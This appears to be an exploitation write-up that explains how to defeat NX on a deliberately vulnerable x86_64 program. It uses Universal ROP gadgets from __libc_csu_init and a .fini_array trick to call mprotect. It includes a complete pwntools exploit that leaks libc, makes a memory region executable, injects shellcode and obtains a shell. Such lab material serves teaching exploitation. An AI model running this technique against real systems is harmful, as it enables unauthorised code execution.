Intro
Some time ago, a friend of mine (dag-tech), asked me about a technique to run a shellcode with NX
enabled. So he gave me a simple program:
//src.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
char buf[16];
puts("Can you pwn me????");
read(0, buf, 512);
return 0;
}
$ gcc -z noexecstack -fno-stack-protector -o vuln src.c
$ checksec vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
The approach
The issue with NX
is that we cannot execute code in writable memory segment. So we should find a way to disable, at run-time, this protection.
Fortunately the mprotect
function, in libc
, just do this:
NAME
mprotect — set protection of memory mapping
SYNOPSIS
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
DESCRIPTION
The mprotect() function shall change the access protections to be that specified by prot for those whole pages containing any part of the address space of the process starting at
address addr and continuing for len bytes. The parameter prot determines whether read, write, execute, or some combination of accesses are permitted to the data being mapped. The
prot argument should be either PROT_NONE or the bitwise-inclusive OR of one or more of PROT_READ, PROT_WRITE, and PROT_EXEC.
So here the exploit plan:
- Leak a function address in libc. In this way we can call mprotect
- Find a memory segment where we could write the shellcode
- Call mprotect to disable NX on that region
- Jump to that region
- Profit
We leak the puts address and we write the shellcode starting from the .got.plt
segment address.
Exploitation
To build the ROP chain we use a general techinique, usable on any glibc x86_64 binary, called Universal ROP
.
Basically we use the gadgets in the __libc_csu_init
function, included by glibc in any x86_64 binary, to populate rdi, rsi and rdx.
These are, in fact, the first three registers used to pass argument to a function in x86_64 convention.
So we can call any function that accept up to three arguments, like mprotect
.
Here the interesting part (so the gadgets..) of __libc_csu_init
function:
0x004011b0 4c89f2 mov rdx, r14
0x004011b3 4c89ee mov rsi, r13
0x004011b6 4489e7 mov edi, r12d
0x004011b9 41ff14df call qword [r15 + rbx*8]
0x004011bd 4883c301 add rbx, 1
0x004011c1 4839dd cmp rbp, rbx
0x004011c4 75ea jne 0x4011b0
0x004011c6 4883c408 add rsp, 8
0x004011ca 5b pop rbx
0x004011cb 5d pop rbp
0x004011cc 415c pop r12
0x004011ce 415d pop r13
0x004011d0 415e pop r14
0x004011d2 415f pop r15
0x004011d3 5f pop rdi
0x004011d4 c3 ret 0x004011d4 c3 ret
Note that there could be differences between glibc version. Currently I’m using the libc-2.29
. However the approach is the same.
We can easily identify:
pop rdi
to set rdi, at0x004011d3
.pop r13
andmov rsi, r13
to setrsi
. At0x004011ce
and0x004011b3
.pop r14
andmov rdx, r14
to setrdx
. At0x004011d0
and0x004011b0
.
However there are two issues to overwhelm before we can set rsi
and rdx
. In fact after the mov
there are:
- The
call qword [r15 + rbx*8]
at0x004011b9
- The
jne 0x4011b0
at0x004011c4
.
The latter should fail and this is is easily achievable because we control both rbx
and rbp
(thanks the pops at the bottom of the function). So we set rbx
to 0 and rbp
to 1.
The former requires a bit of work.. In fact r15 + rbx*8
should point to an instruction in a executable segment and it should not interfer with our exploit…
However because rbx
is equal to 0 the condition is reduced only to r15
. And we control it thanks the pop r15
at the bottom of the function.
Nonetheless.. What value r15
should contain? A pointer to a function is an ideal candidate…
BINGO!
In every ELF
executable there is a .fini_array
section, that is an array of pointer to functions. These functions should be called when the program exit.
Let’s analyze this section with r2
.
$ r2 -Ad vuln
[r2]> iS
...
19 0x00002e18 8 0x00403e18 8 -rw- .fini_array
...
[r2]> pxr 8 @0x00403e18
0x00403e18 0x0000000000401100 ..@..... @loc.__init_array_end 0
[r2]> pdf @0x0000000000401100
0x00401100 f30f1efa endbr64
0x00401104 803d212f0000. cmp byte [obj.completed.7387], 0
,=< 0x0040110b 7513 jne 0x401120
| ...
| ...
| 0x00401116 c6050f2f0000. mov byte [obj.completed.7387], 1
| 0x0040111d 5d pop rbp
`->0x00401120 c3 ret
So if [obj.completed.7387]
is different than 0 this function acts like a NOP
. And at 0x00401116
[obj.completed.7387]
is set to 1…
PERFECT! :D
We have all elements in place.
So to recap: r15
should contain the .fini_array
address but before the first element of the ROP chain
we should call 0x00401116
to set obj.completed.7387
to 1.
In this way the call acts like a NOP
.
So here the exploit:
#!/usr/bin/python2
from pwn import *
prog = context.binary = ELF(os.getcwd() + "/vuln", checksec=False)
if len(sys.argv) > 1:
host = sys.argv[1]
port = 0
t = remote(host, port)
else:
t = prog.process()
mprotect_offset = 0 # this is libc dependent
offset = 24
header = "A"*offset
shellcode = asm(shellcraft.sh())
gotplt = prog.get_section_by_name(".got.plt").header.sh_addr
fini_array = prog.get_section_by_name(".fini_array").header.sh_addr
read = prog.plt["read"]
puts = prog.plt["puts"]
main = prog.symbols["main"]
prdi = 0x004011d3 # pop rdi
brdx = 0x004011ca # pop rbx
# pop rbp
# pop r12
# pop r13
# `pr14 stuff`
pr14 = 0x004011d0 # pop r14
# pop r15
mr14trdx = 0x004011b0 # mov rdx, r14
# mov rsi, r13
# mov edi, r12d
# call qword [r15 + rbx*8]
# add rbx, 1
# cmp rbp, rbx
# jne 0x4011b0 -> SHOULD FAIL
# add rsp, 8
# `brdx stuff`
completedToOne = 0x00401116 # mov byte [obj.completed], 1
# pop rbp
def init_urop():
payload = p64(completedToOne)
payload += "J"*8
return payload
def urop(fn, rdi, rsi=0, rdx=0):
payload = ""
# set rsi and rdx
payload += p64(brdx)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += "J"*8 #r12
payload += p64(rsi) #r13
payload += p64(rdx) #r14
payload += p64(fini_array) #r15
payload += p64(mr14trdx)
payload += "J"*56
# set rdi
payload += p64(prdi)
payload += p64(rdi)
# fn
payload += p64(fn)
return payload
# stage1: leak puts@libc, so get mprotect@libc.
payload = header
payload += init_urop()
payload += urop(puts, prog.got["puts"])
payload += p64(main)
t.recvuntil("Can you pwn me????\n")
t.sendline(payload)
puts_libc = u64(t.recvline().replace('\n', '').ljust(8, "\x00"))
mprotect_libc = puts_libc - mprotect_offset
log.info("puts@libc: {:#x}".format(puts_libc))
log.info("mprotect@libc: {:#x}".format(mprotect_libc))
# stage2: read(0, gotplt, len(shellcode))
# mprotect(gotplt, len(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC)
# jmp to the shellcode
payload = header
payload += urop(read, 0, gotplt, len(shellcode))
payload += urop(mprotect_libc, gotplt, len(shellcode), 7)
payload += p64(gotplt)
t.sendline(payload)
t.sendline(shellcode)
log.success("DONE")
t.recvrepeat(0.3)
t.interactive()
t.close()
$ ./exploit.py
[+] Starting local process '/path/to/vuln'
[*] puts@libc: puts_address
[*] mprotect@libc: mprotect_address
[+] DONE
[*] Switching to interactive mode
$ echo hi :)
hi :)
$